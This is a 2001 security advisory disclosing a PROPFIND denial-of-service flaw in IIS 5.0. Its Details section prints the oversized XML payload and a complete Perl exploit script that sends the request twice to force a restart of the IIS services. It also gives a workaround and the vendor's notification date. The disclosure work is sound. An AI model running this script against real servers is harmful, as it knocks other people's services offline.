Georgi Guninski security advisory #38, 2001

IIS 5.0 PROPFIND DOS

Systems affected:
IIS 5.0

Risk: Medium but may turn more serious
Date: 8 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

It is possible to remotely restart all IIS related service using specially crafted request.
It is also possible to force IIS to consume memory which it does not free.
Seems to be a buffer overflow, don't know whether it is exploitable, let me know if you find
a way to exploit it.

Details:

Basically the problem are very long but valid propfind request.
For example the following PROPFIND request works for me:
---------------------
<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:" xmlns:u="over:"><a:prop><a:displayname /><u:$over /></a:prop>
</a:propfind>
---------------------
where length($over) ~ 128008
The first time the request is send IIS replies with 500 ... Exception. The second time the services are
restarted.

--vv5.pl-------------------------------------------------------------------------
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;

print "IIS 5.0 propfind\n";

$port = ARGV[1];
$host = ARGV[0];

sub vv()
{

$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
# ^^^^ This is another issue and also works with length ~>65000

$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}

do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
---------------------------------------------------------------------------

Demonstration:

Workoround: Disable WebDav extensions and PROPFIND though I do not recommend using IIS on the Internet.

Vendor status:
Microsoft was informed on 3 March 2001

Happy 8 March to the women.

Regards,
Georgi Guninski
http://www.guninski.com

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